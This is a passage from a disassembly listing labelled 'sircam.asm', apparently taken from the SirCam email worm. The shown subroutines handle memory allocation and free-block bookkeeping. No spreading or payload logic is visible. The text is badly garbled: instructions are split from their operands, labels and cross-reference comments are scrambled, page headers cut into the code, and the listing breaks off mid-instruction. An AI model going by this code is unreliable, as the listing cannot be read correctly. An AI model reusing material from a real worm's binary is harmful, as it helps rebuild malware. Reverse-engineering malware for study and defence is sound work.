ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401D4D: ; CODE XREF: sub_401CF8+1C\030j cmp jl mov mov call test jnz esi, 3C00h short loc_401D62 edx, esi eax, edi sub_401C60 al, al short loc_401D79 mov mov mov mov mov mov mov ; CODE XREF: sub_401CF8+5B\030j eax, ds:dword_41E47C ds:dword_41E47C, ebx edx, [eax] [ebx+4], eax [ebx], edx [eax], ebx [edx+4], ebx loc_401D62: loc_401D79: sub_401CF8 ; CODE XREF: sub_401CF8+45\030j ; sub_401CF8+53\030j ... pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401D80 proc near ; CODE XREF: sub_401DCC+F\031p ; sub_402160+100\031p ... cmp ds:dword_41E480, 0 jle short locret_401DC9 cmp ds:dword_41E480, 0Ch jge short loc_401D9E mov ds:dword_41E42C, 7 jmp short locret_401DC9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401D9E: mov or mov mov mov add call xor mov xor mov locret_401DC9: sub_401D80 ; CODE XREF: sub_401D80+10\030j eax, ds:dword_41E480 eax, 2 edx, ds:dword_41E484 [edx], eax eax, ds:dword_41E484 eax, 4 sub_401B6C eax, eax ds:dword_41E484, eax eax, eax ds:dword_41E480, eax ; CODE XREF: sub_401D80+7\030j ; sub_401D80+1C\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 26 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401DCC proc near var_10 var_8 var_4 = byte ptr -10h = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_401E58+18\031p ; sub_401E84+1D\031p push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+10h+var_10] movsd movsd mov edi, esp call sub_401D80 lea ecx, [esp+10h+var_8] mov edx, edi mov eax, offset dword_41E48C call sub_401318 mov ebx, [esp+10h+var_8] test ebx, ebx jnz short loc_401DFC xor eax, eax jmp short loc_401E4E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401DFC: ; CODE XREF: sub_401DCC+2A\030j mov cmp jnb call sub add eax, [edi] ebx, eax short loc_401E0C sub_401BB8 [edi], eax [edi+4], eax mov add mov add cmp jnb call add ; CODE XREF: sub_401DCC+34\030j eax, [edi] eax, [edi+4] esi, ebx esi, [esp+10h+var_4] eax, esi short loc_401E23 sub_401C28 [edi+4], eax mov add cmp jnz sub mov call sub ; CODE XREF: sub_401DCC+4D\030j eax, [edi] eax, [edi+4] esi, eax short loc_401E3D eax, 4 edx, 4 sub_401B3C dword ptr [edi+4], 4 mov mov mov mov mov ; CODE XREF: sub_401DCC+5E\030j eax, [edi] ds:dword_41E484, eax eax, [edi+4] ds:dword_41E480, eax al, 1 add pop esp, 10h edi loc_401E0C: loc_401E23: loc_401E3D: loc_401E4E: ; CODE XREF: sub_401DCC+2E\030j sircam.asm sub_401DCC Fri Aug 10 12:42:44 2001 pop pop retn endp 27 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401E58 proc near var_8 = dword ptr -8 push add mov mov lea call cmp jz mov call test jnz ; CODE XREF: sub_401EE4+57\031p ebx esp, 0FFFFFFF8h ebx, eax edx, esp eax, [ebx+4] sub_4016C4 [esp+8+var_8], 0 short loc_401E79 eax, esp sub_401DCC al, al short loc_401E7D loc_401E79: ; CODE XREF: sub_401E58+14\030j xor eax, eax jmp short loc_401E7F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401E7D: ; CODE XREF: sub_401E58+1F\030j mov al, 1 pop pop pop retn endp ecx edx ebx loc_401E7F: sub_401E58 ; CODE XREF: sub_401E58+23\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401E84 proc near var_8 = dword ptr -8 push push add mov mov mov lea mov call cmp jz mov call test jnz loc_401EAA: ; CODE XREF: sub_402304+199\031p ebx esi esp, 0FFFFFFF8h esi, edx ebx, eax ecx, esp edx, [esi+4] eax, ebx sub_401754 [esp+8+var_8], 0 short loc_401EAA eax, esp sub_401DCC al, al short loc_401EAE ; CODE XREF: sub_401E84+19\030j sircam.asm Fri Aug 10 12:42:44 2001 28 xor eax, eax jmp short loc_401EB0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401EAE: ; CODE XREF: sub_401E84+24\030j mov al, 1 pop pop pop pop retn endp ecx edx esi ebx loc_401EB0: sub_401E84 ; CODE XREF: sub_401E84+28\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401EB8 proc near ; CODE XREF: sub_401EE4+4A\031p xor edx, edx test eax, eax jns short loc_401EC1 add eax, 3 loc_401EC1: ; CODE XREF: sub_401EB8+4\030j sar cmp jg eax, 2 eax, 400h short loc_401EE1 mov mov test jnz inc cmp jnz ; CODE XREF: sub_401EB8+27\031j edx, ds:dword_41E488 edx, [edx+eax*4-0Ch] edx, edx short loc_401EE1 eax eax, 401h short loc_401ECB loc_401ECB: loc_401EE1: sub_401EB8 ; CODE XREF: sub_401EB8+11\030j ; sub_401EB8+1F\030j mov retn endp eax, edx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401EE4 proc near ; CODE XREF: sub_401FD8+14B\031p push ebx push esi push edi push ebp mov esi, eax mov edi, offset dword_41E47C mov ebp, offset dword_41E480 loc_401EF4: mov cmp jle mov mov cmp jle mov ; CODE XREF: sub_401EE4+6A\031j ebx, ds:dword_41E474 esi, [ebx+8] loc_401F87 ebx, [edi] eax, [ebx+8] esi, eax short loc_401F87 [ebx+8], esi sircam.asm Fri Aug 10 12:42:44 2001 29 loc_401F0F: ; CODE XREF: sub_401EE4+31\031j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_401F0F mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_401F24 mov [edi], ebx jmp short loc_401F87 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401F24: ; CODE XREF: sub_401EE4+3A\030j cmp jg mov call mov test jnz esi, 1000h short loc_401F39 eax, esi sub_401EB8 ebx, eax ebx, ebx short loc_401F87 loc_401F39: ; CODE XREF: sub_401EE4+46\030j mov eax, esi call sub_401E58 test al, al jnz short loc_401F4B xor eax, eax jmp loc_401FD3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401F4B: cmp jg sub cmp jge add xor mov ; CODE XREF: sub_401EE4+5E\030j esi, [ebp+0] short loc_401EF4 [ebp+0], esi dword ptr [ebp+0], 0Ch short loc_401F61 esi, [ebp+0] eax, eax [ebp+0], eax loc_401F61: ; CODE XREF: sub_401EE4+73\030j mov eax, ds:dword_41E484 add ds:dword_41E484, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_41E41C sub esi, 4 add ds:dword_41E420, esi jmp short loc_401FD3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401F87: ; CODE XREF: sub_401EE4+19\030j ; sub_401EE4+26\030j ... mov eax, ebx call sub_401AA8 mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_401FA6 mov edx, ebx add edx, esi xchg eax, edx call sub_401CF8 jmp short loc_401FB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401FA6: ; CODE XREF: sub_401EE4+B4\030j sircam.asm Fri Aug 10 12:42:44 2001 mov cmp jnz mov mov esi, edx ebx, [edi] short loc_401FB1 eax, [ebx+4] [edi], eax mov add and ; CODE XREF: sub_401EE4+C6\030j eax, ebx eax, esi dword ptr [eax], 0FFFFFFFEh mov mov or mov add inc sub add ; CODE XREF: sub_401EE4+C0\030j eax, ebx edx, esi edx, 2 [eax], edx eax, 4 ds:dword_41E41C esi, 4 ds:dword_41E420, esi loc_401FB1: loc_401FB8: loc_401FD3: sub_401EE4 30 ; CODE XREF: sub_401EE4+62\030j ; sub_401EE4+A1\030j pop pop pop pop retn endp ebp edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_401FD8 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_4024D4+5C\031p ; sub_402598+4\031j ... push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp ds:byte_41E428, 0 jnz short loc_401FFF call sub_401904 test al, al jnz short loc_401FFF xor eax, eax mov [ebp+var_4], eax jmp loc_402153 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401FFF: ; CODE XREF: sub_401FD8+12\030j ; sub_401FD8+1B\030j xor push push push mov cmp jz push call ecx, ecx ebp offset loc_40214C dword ptr fs:[ecx] fs:[ecx], esp ds:byte_41E041, 0 short loc_402020 offset unk_41E430 j_EnterCriticalSection sircam.asm Fri Aug 10 12:42:44 2001 loc_402020: 31 ; CODE XREF: sub_401FD8+3C\030j add and cmp jge mov ebx, 7 ebx, 0FFFFFFFCh ebx, 0Ch short loc_402030 ebx, 0Ch cmp jg mov test jns add ebx, 1000h loc_4020CF eax, ebx eax, eax short loc_402045 eax, 3 sar mov mov test jz mov mov add and mov cmp jnz mov test jns add ; CODE XREF: sub_401FD8+68\030j eax, 2 edx, ds:dword_41E488 edx, [edx+eax*4-0Ch] edx, edx short loc_4020CF esi, edx eax, esi eax, ebx dword ptr [eax], 0FFFFFFFEh eax, [edx+4] edx, eax short loc_402080 eax, ebx eax, eax short loc_40206F eax, 3 loc_402030: ; CODE XREF: sub_401FD8+51\030j loc_402045: loc_40206F: ; CODE XREF: sub_401FD8+92\030j sar eax, 2 mov ecx, ds:dword_41E488 xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_4020A6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402080: ; CODE XREF: sub_401FD8+8C\030j mov test jns add ecx, ebx ecx, ecx short loc_402089 ecx, 3 sar mov mov mov mov mov mov mov mov ; CODE XREF: sub_401FD8+AC\030j ecx, 2 edi, ds:dword_41E488 [edi+ecx*4-0Ch], eax ecx, [edx] [ebp+var_8], ecx ecx, [ebp+var_8] [ecx+4], eax ecx, [ebp+var_8] [eax], ecx mov mov or mov add mov inc sub add call jmp ; CODE XREF: sub_401FD8+A6\030j eax, esi edx, [edx+8] edx, 2 [eax], edx eax, 4 [ebp+var_4], eax ds:dword_41E41C ebx, 4 ds:dword_41E420, ebx sub_403038 loc_402153 loc_402089: loc_4020A6: sircam.asm Fri Aug 10 12:42:44 2001 32 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4020CF: cmp jg sub cmp jge add xor mov ; CODE XREF: sub_401FD8+5E\030j ; sub_401FD8+7C\030j ebx, ds:dword_41E480 short loc_402121 ds:dword_41E480, ebx ds:dword_41E480, 0Ch short loc_4020F3 ebx, ds:dword_41E480 eax, eax ds:dword_41E480, eax loc_4020F3: ; CODE XREF: sub_401FD8+10C\030j mov eax, ds:dword_41E484 add ds:dword_41E484, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_41E41C sub ebx, 4 add ds:dword_41E420, ebx call sub_403038 jmp short loc_402153 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402121: mov call mov xor pop pop pop mov push ; CODE XREF: sub_401FD8+FD\030j eax, ebx sub_401EE4 [ebp+var_4], eax eax, eax edx ecx ecx fs:[eax], edx offset loc_402153 cmp jz push call ; CODE XREF: sub_401FD8+179\031j ds:byte_41E041, 0 short locret_40214B offset unk_41E430 j_LeaveCriticalSection loc_402138: locret_40214B: ; CODE XREF: sub_401FD8+167\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40214C: ; DATA XREF: sub_401FD8+2A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_402138 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402153: sub_401FD8 ; CODE XREF: sub_401FD8+22\030j ; sub_401FD8+F2\030j ... mov pop pop pop pop pop pop retn endp eax, [ebp+var_4] edi esi ebx ecx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 33 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_402160 proc near var_4 = dword ptr -4 ; CODE XREF: sub_401B6C+1C\030p ; sub_4024D4+88\031p ... push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov ds:dword_41E42C, eax cmp ds:byte_41E428, 0 jnz short loc_402198 call sub_401904 test al, al jnz short loc_402198 mov ds:dword_41E42C, 8 mov [ebp+var_4], 8 jmp loc_4022F9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402198: ; CODE XREF: sub_402160+17\030j ; sub_402160+20\030j xor push push push mov cmp jz push call ecx, ecx ebp offset loc_4022F2 dword ptr fs:[ecx] fs:[ecx], esp ds:byte_41E041, 0 short loc_4021B9 offset unk_41E430 j_EnterCriticalSection loc_4021B9: ; CODE XREF: sub_402160+4D\030j mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_4021D4 mov ds:dword_41E42C, 9 jmp loc_4022C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4021D4: dec mov and sub sub test jz mov sub mov cmp jl test jz loc_402204: ; CODE XREF: sub_402160+63\030j ds:dword_41E41C eax, ebx eax, 7FFFFFFCh eax, 4 ds:dword_41E420, eax bl, 1 short loc_402234 eax, esi eax, 0Ch edx, [eax+8] edx, 0Ch short loc_402204 edx, 80000003h short loc_402213 ; CODE XREF: sub_402160+9A\030j mov ds:dword_41E42C, 0Ah jmp loc_4022C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 34 loc_402213: ; CODE XREF: sub_402160+A2\030j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_40222B mov ds:dword_41E42C, 0Ah jmp loc_4022C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40222B: ; CODE XREF: sub_402160+BA\030j add mov call ebx, edx esi, eax sub_401AA8 and mov add mov cmp jnz sub add cmp jle call ; CODE XREF: sub_402160+8D\030j ebx, 7FFFFFFCh eax, esi eax, ebx edi, eax edi, ds:dword_41E484 short loc_402274 ds:dword_41E484, ebx ds:dword_41E480, ebx ds:dword_41E480, 3C00h short loc_402265 sub_401D80 loc_402234: loc_402265: ; CODE XREF: sub_402160+FE\030j xor eax, eax mov [ebp+var_4], eax call sub_403038 jmp loc_4022F9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402274: ; CODE XREF: sub_402160+E6\030j mov edx, [eax] test dl, 2 jz short loc_402297 and edx, 7FFFFFFCh cmp edx, 4 jge short loc_402292 mov ds:dword_41E42C, 0Bh jmp short loc_4022C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402292: ; CODE XREF: sub_402160+124\030j or dword ptr [eax], 1 jmp short loc_4022C0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402297: mov cmp jz cmp jz cmp jge ; CODE XREF: sub_402160+119\030j eax, edi dword ptr [eax+4], 0 short loc_4022AA dword ptr [eax], 0 short loc_4022AA dword ptr [eax+8], 0Ch short loc_4022B6 loc_4022AA: ; CODE XREF: sub_402160+13D\030j ; sub_402160+142\030j mov ds:dword_41E42C, 0Bh jmp short loc_4022C9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4022B6: ; CODE XREF: sub_402160+148\030j mov add call edx, [eax+8] ebx, edx sub_401AA8 sircam.asm Fri Aug 10 12:42:44 2001 loc_4022C0: 35 ; CODE XREF: sub_402160+135\030j mov mov call edx, ebx eax, esi sub_401CF8 mov mov xor pop pop pop mov push ; CODE XREF: sub_402160+6F\030j ; sub_402160+AE\030j ... eax, ds:dword_41E42C [ebp+var_4], eax eax, eax edx ecx ecx fs:[eax], edx offset loc_4022F9 cmp jz push call ; CODE XREF: sub_402160+197\031j ds:byte_41E041, 0 short locret_4022F1 offset unk_41E430 j_LeaveCriticalSection loc_4022C9: loc_4022DE: locret_4022F1: ; CODE XREF: sub_402160+185\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4022F2: ; DATA XREF: sub_402160+3B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4022DE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4022F9: sub_402160 ; CODE XREF: sub_402160+33\030j ; sub_402160+10F\030j ; DATA XREF: ... mov pop pop pop pop pop retn endp eax, [ebp+var_4] edi esi ebx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402304 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push push push push add mov add and cmp jge mov ebx esi edi ebp esp, 0FFFFFFF8h esi, edx esi, 7 esi, 0FFFFFFFCh esi, 0Ch short loc_40231D esi, 0Ch mov ebp, eax ; CODE XREF: sub_4024D4+4C\031p loc_40231D: ; CODE XREF: sub_402304+12\030j sircam.asm Fri Aug 10 12:42:44 2001 36 sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jl loc_4023BC mov edx, edi sub edx, esi mov [esp+8+var_8], edx cmp ebx, ds:dword_41E484 jnz short loc_402380 mov eax, [esp+8+var_8] sub ds:dword_41E484, eax mov eax, [esp+8+var_8] add ds:dword_41E480, eax cmp ds:dword_41E480, 0Ch jge loc_4024B3 mov eax, [esp+8+var_8] add ds:dword_41E484, eax mov eax, [esp+8+var_8] sub ds:dword_41E480, eax mov esi, edi jmp loc_4024B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402380: mov test jnz mov mov add call ; CODE XREF: sub_402304+42\030j ebx, eax byte ptr [ebx], 2 short loc_402394 eax, ebx edx, [eax+8] [esp+8+var_8], edx sub_401AA8 loc_402394: ; CODE XREF: sub_402304+81\030j cmp [esp+8+var_8], 0Ch jl short loc_4023B5 mov ebx, ebp add ebx, esi mov eax, [esp+8+var_8] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_401B6C jmp loc_4024B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4023B5: ; CODE XREF: sub_402304+94\030j mov esi, edi jmp loc_4024B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4023BC: ; CODE XREF: sub_402304+2F\030j ; sub_402304+1A6\031j mov sub mov cmp jnz mov cmp jl mov sub mov add cmp eax, esi eax, edi [esp+8+var_4], eax ebx, 